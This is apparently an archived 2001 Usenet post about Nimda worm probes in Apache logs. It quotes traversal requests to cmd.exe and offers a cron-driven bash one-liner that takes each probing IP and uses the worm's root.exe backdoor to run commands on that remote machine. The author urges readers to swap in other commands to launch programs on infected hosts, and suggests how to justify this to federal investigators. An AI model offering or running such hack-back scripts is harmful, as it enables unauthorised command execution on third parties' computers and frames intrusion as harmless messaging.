🚀 go-pugleaf

Running a swerver? Tired of seeing stuff like:

216.167.67.44 - - [29/Sep/2001:17:50:21 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1651
216.167.67.44 - - [29/Sep/2001:17:50:22 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1651
216.167.67.44 - - [29/Sep/2001:17:50:23 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
216.167.67.44 - - [29/Sep/2001:17:50:24 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
216.167.67.44 - - [29/Sep/2001:17:50:25 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1651
216.167.67.44 - - [29/Sep/2001:17:50:26 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1651

all through your httpd logfiles? Well, assuming that you've got your logfile
in /var/log/access_log -- try something like this, called from cron on a
1-minute cycle...

#! /bin/bash
lynx -dump http://`tail /var/log/access_log --lines 1 |cut -d " " -f
1`/MSADC/root.exe?/c+dir%20c:\\ >> TEST  

(all one line)

then `cat TEST` to see the directories! Exchange that /c+dir%20c:\\ part to
c+dir:c\\\Program\ Files and see what you see! Change the +dir part to
something else, and you can do things like start up a couple of instances of
the "setup" program so that clueless WinBlows "sysadmins" will at least
notice that there's something screwy going on with their machines and start
asking questions and ideally stop their crappy M$ boxes from hammering your
server. The only cure for the NIMDA worm is to format the system drives and
reinstall from scratch, sad to say. Maybe they won't run crappy M$
"bug-riddled piece of filth" software for mission critical applications, and
will get some cl00 and run Linux or a *BSD.

Basically, almost all of the hosts which are probing to see if you've been
hit by the Code Red or Code Red II worms, are NIMDA worm hosts checking to
see if there's that "root.exe" in their local subnets, trying to exploit it
to TFTP worm components onto that machine. 

Very very nasty, I can only hope it's not eating the military's infotech
base. Considering when it started replicating, I can only presume that this
is one part of Phase II of The War.

If the Feds come around and ask you what the hell you think you're doing,
show them your logs and point out that you were only providing clues to the
"sysadmins" that their machines were replicating worms across subnets which
potentially might infect and destroy any level of internet-exposed local,
state, federal, and military hardware. If they want to haul you in for
pointing out that they were already compromised by worms, ask them if
they've ever heard the saying "do not kill the messenger or nobody will ever
tell you anything". 

-- 
Whom thou'st vex'd waxeth wroth:  Meow. <-----> http://earthops.net/klaatu/